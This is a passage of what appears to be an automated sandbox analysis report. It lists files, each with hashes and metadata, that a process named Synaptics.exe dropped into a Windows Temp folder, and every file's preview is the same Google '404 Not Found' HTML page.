Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="TzKgoh2-Y5uBydEGwrf6QA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\YuWoEl2.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258467714530755
Encrypted:	false
SSDEEP:	24:GgsF+0TvSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+M+pAZewRDK4mW
MD5:	F93F7ACEE5E1AF29F60439D70CEB733A
SHA1:	44A311C192F0A7ACA4DFFB682878D815CCB63EA0
SHA-256:	E0CB65BF2FF5794DD32E543189CB5612FE9DE50CB22727017500673F296EFC5A
SHA-512:	95DAC26DD948F3D2197EEB3F6376F722B2B80E60D3BF935A69FC46C2C92727D1ED2FF4491B6DEFF8DB7582EF5638E329D524B0A521BEEEBDC348EA28BD0721A2
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9bk1HOX1pySkhyuc_Ncy_A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Yvf1ma9.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.28426950886593
Encrypted:	false
SSDEEP:	24:GgsF+0NSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+e+pAZewRDK4mW
MD5:	DAF8D22F5D99467B08F57058E8DCF146
SHA1:	5B70CC8186785F6C7435CEAC9197F83F9D256D92
SHA-256:	34F0677B7BF2F12375E8913D7A2B494644BED4E8D3B65A6E39C16EF8185930BA
SHA-512:	4BAABB7C035C2B90F14A50B5DAAAC5FA92D662938ECCF0E22C6827560377188803E9EFBDC5831F38A7017C7A246F425AF7226283DDC78204769E57F692496DFD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="74AMZ1GPFxIXzA98YMzYHA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ZFHxU7U.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.275081697313531
Encrypted:	false
SSDEEP:	24:GgsF+0Z03SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+l+pAZewRDK4mW
MD5:	C2CB13EFFE7E1294861241075E1A249A
SHA1:	2C7F8CBDDF5E873291B8527146FFF0965A0BAC74
SHA-256:	C82A117F1F57E03064576C9EE22F74933EA86B1955975E048EE39DC3161299E5
SHA-512:	6EF63C6EB986B1B840FCF82A70211449EFA1E0AEFA6A38B9B46F1A06BAEB16696F8C155996989AC1747EFB90996EDE6DC59E6F2EAE58087A8054C3372BE767BB
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="PigS37KHQy_SBP1hIVOJcw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ZYE2Hri.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.273962667765245
Encrypted:	false
SSDEEP:	24:GgsF+0+SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+J+pAZewRDK4mW
MD5:	AB70053888CFBFC65815B26229FF9731
SHA1:	274C004721B9B34E971DD8CBF1744ADCC71EFE9F
SHA-256:	3B80E00FAFEAA5937190AE75D2D6367F03CD170ECDE196E915BC1D1A68EBD052
SHA-512:	AA0FCA40D8C7B392215B047F0353456E5ABC42DFFFF7B3E0AAF3000CC03D3180AD036FEB7B8878EDBEDA71F4A3616363B5E55B3F20182A16A56088523AF42E88
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Alk98LyYwMEK8sL7UjdO9Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Zbs396I.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.279350030930048
Encrypted:	false
SSDEEP:	24:GgsF+043SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+f3+pAZewRDK4mW
MD5:	D803E1AC7A3339FCC3BD307DDF12DDA2
SHA1:	D8FF6EADA3012DA7EF95EB022EA9F98457E6DA49
SHA-256:	D37BA4701D692B4CCE9BD0FB092BBEB046BB636DF505F11493D812DC88975CDD
SHA-512:	C19FA8F703DC5D18E3EA73E54471015721ECFE79E42D044917E1C57F594A4E60B9E458F9C25D6222DD0B22FD281A47B1C945A61F700CEEE3F66B00D1BFC6FF64
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="72w8X8Xj3WoP9POqRKKtVQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ZdrbWuC.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.250162124181756
Encrypted:	false
SSDEEP:	24:GgsF+0jdSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+yd+pAZewRDK4mW
MD5:	3B792B33160C5C160692C7A04393A886
SHA1:	9A7D89788EB520DC8545212A1B0AEE3A4953FA51
SHA-256:	BBA7FDD18E817D6197899375682DF7D0B1921364806598679D7B22503B3A20BA
SHA-512:	81A8B65A4FE73039A27DAAC8DD184BE652FA6736489FD7FD25B473D48E10F220AB52DEF04562696EDF04F137439805A8DFCFA6CF548AC8A9FFE73D8A0E78588A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="EGalOwVFRhz2bogKe9bRgg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Zfu7yzU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267966033837611
Encrypted:	false
SSDEEP:	24:GgsF+0ieSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+c+pAZewRDK4mW
MD5:	31A7BB3D53AE72FE8069BA23B0874F55
SHA1:	2525004B0CFCCB880479D8B02E4806923137B55B
SHA-256:	36C3CFF021B91983054DB3236ED89C0F8F9DBBEB578487698A0647E4529D602F
SHA-512:	E8E436FDD4B6348AE716DD7689029C647FA6A1898873A5BF7794DF10CC6D8462CE881887944100138526940A91FAF4EDF03FA7BB7D66A4A85F0ABBD7DFDE42E2
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="2K_1_s2aN3lX9JB6lfWF6Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Zu4uUVE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267929643389731
Encrypted:	false
SSDEEP:	24:GgsF+0OSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+R+pAZewRDK4mW
MD5:	8764814D26848A079623503E42E71979
SHA1:	9B86FE70A26F8B01520FC1F5C0DE64EEF4AD1A49
SHA-256:	1E9401DAEAFE0814F6049A7BCA7A1D5E01A9F58D133F45FEC27ACD62CB5BEF62
SHA-512:	8FA1EE262EDEF1F5A333A5334630D664825A59C910463DA4696D518F9E01EC89624F470CC992C9C8241A8038126E4F9812DC059E8446AF6FB29967CD890112A6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GVKAcEyWWBwrfUoXg0G_FA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\aEjCcDp.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26726641156277
Encrypted:	false
SSDEEP:	24:GgsF+0kUSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+pU+pAZewRDK4mW
MD5:	8B87DE6844D4C9AF6DC61E4D13AB8CE3
SHA1:	D1E8968C2BD11E1223276CB1AA23E9B615B7F635
SHA-256:	AD1BC8317F9060761ED5EF023C296E237CF7B57D194074493F1FCFB3637D4CCE
SHA-512:	12F7E1C2090140FD69A3F33EB16CEA679FA284FDA5DB3B8ECD123D62C7780D53A29C61284C92F4F51CE2C6C2A3C438EBF0C08AAA728AFD13653033C20E08CD29
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="89yIb8vkEfKD_fZypTUlvQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\bEYq78j.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270081932586905
Encrypted:	false
SSDEEP:	24:GgsF+0GWSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+9W+pAZewRDK4mW
MD5:	393A8BD5EAB67BB5C0D9E972576103B2
SHA1:	5A7BA6AC4F5C53CC811E0CA75B2B15F6566981C6
SHA-256:	D8E1661F185798A6B67267EED8F47A511BCD9CDD57B29CC3223E8D599587642C
SHA-512:	75DB00C407435667D73BE4375C2F7CD2F6FFE1CC2C3CD3CC9A7058DB905F56D5F3106CC4F8C2777BB7C1B0C0A8488AB1FA4A56C2E2485BC6A1F5888BC1B5CCAD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="BdehsUV4FQ3G_s-VFGIPPA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\bofXlwu.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258159024101397
Encrypted:	false
SSDEEP:	24:GgsF+05UpSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+CUp+pAZewRDK4mW
MD5:	C9A40F223646CB8CFC139940813E4314
SHA1:	25DDEA638A2DC48E3EF54C48806CA5A4B85EAD7F
SHA-256:	9CB7D927C662A679F80AAD396C94EECD605C7D48626C4295F2B026ACB8F5B995
SHA-512:	2F3F216573C59B250CCD62A9034E5EAC1838A894A9544603E2E4BCA4DDFA4AF549C05DB0D446BA1E7D96FB9383E7FD696BE90A65B2C575A96040C3AE30F707B9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="oyBBMLsH0mDmskmRyHiNKg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\bwEdU9U.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268591252778765
Encrypted:	false
SSDEEP:	24:GgsF+0UN10XSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+h0X+pAZewRDK4mW
MD5:	4AF5E163AAE9D1A5596D07F3E544B38B
SHA1:	4F8F59666EACC76813CB376A1377FCEF182E17F1
SHA-256:	82943532EE019C7B47FBD919F6A7FD07B5817F3E7DC7B401AEC9D8AEF00C438D
SHA-512:	FE0CC167F61BBAE49E94E7BA0C17ED6384B1008644A603DC7BD77A111538E045C6864D49B77EEE8269AF81E156DBBD7D4C0A20DB00477ED6A12DD255879D0F92
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Rk1DW5Et5LrffFmU3FVIqQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\cJF7KCy.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.273077798661631
Encrypted:	false
SSDEEP:	24:GgsF+0geSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Be+pAZewRDK4mW
MD5:	FC402EF682C2EF7C872E684D875DE09D
SHA1:	14FA9749C9CB881E9D25163755AB408978C4ED4D
SHA-256:	0C77AE65C516796B77FE242BE084A9968028F7D47B951B62F70FEDC0301F6EB8
SHA-512:	690E60C32AA6BF9DB725F217AB342825DB4535955AC653282F1D13FD196CF1CC5013E221F6375D5D8BAFB580A85782AB6A644FA4778C0F39B46B5CDEA9FC11EE
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5FKjYT-U-kzeNS_BP-WGDw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\cQftJ2b.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268426828862595
Encrypted:	false
SSDEEP:	24:GgsF+0TSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+8+pAZewRDK4mW
MD5:	B67A453B54B9DA0DD3B9B9AF47217F9A
SHA1:	D06F04BD5DE0DAB3CB38B13C8A5CD231B9B8F4C9
SHA-256:	2A8364BA7715294833587BE5C7CB0C932D5D5A8D6B26C9458DB104F0EF3A50C9
SHA-512:	9BACC545CFF5AB3A103DD0BAAC0BCF3A4B54C5491CACC5D2D5589792511DB44C3118296440F34DD2CF5975D2BABE9C76EBD22B8438272909139840DB44CF2D7C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jxIukHorGQHsDxyHYNP8tQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\chIZdCS.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261075902480209
Encrypted:	false
SSDEEP:	24:GgsF+0QSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+H+pAZewRDK4mW
MD5:	A043A37AE9F5501963C807D94571978E
SHA1:	942A5AAEDDE99A71908F4BE8F2F3EB1B7A1CDB04
SHA-256:	94FA8AE12AC44E64EE7D54D14F2682F99639279288DC29B939DEF2CB2740131A
SHA-512:	03A4BEFCDF357D4D2900C2D2E6CA2ADE152763AB6F04DB9B0D674F4F81C59DE3F7A4FF300F021893B2A4B3832EF257D61300BA2BA248AD73CDDBD4B8F790FED4
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="dwFt2N1yefm1nKkLWXOCOA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\cquKWSU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255916615445836
Encrypted:	false
SSDEEP:	24:GgsF+0QdSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3d+pAZewRDK4mW
MD5:	D7CF4543D3E87EA1642114A62E22FB09
SHA1:	CB7920CB6CC9AFB9DC4496E6EC9BD5124E15A8C7
SHA-256:	A544661F6C4D76A3D8D91B307AF171D2CED9C8426B7C0E117853781102CBD58C
SHA-512:	B6CF1D4A95A3782204C01A58AAB093C5A0F562809243492CB31A7DDEC4D1C4558ABFC4446B8DD710CA1A015D5F5A297CD9190B7DC8395C32F1129DEF3ED5E497
Malicious:	false
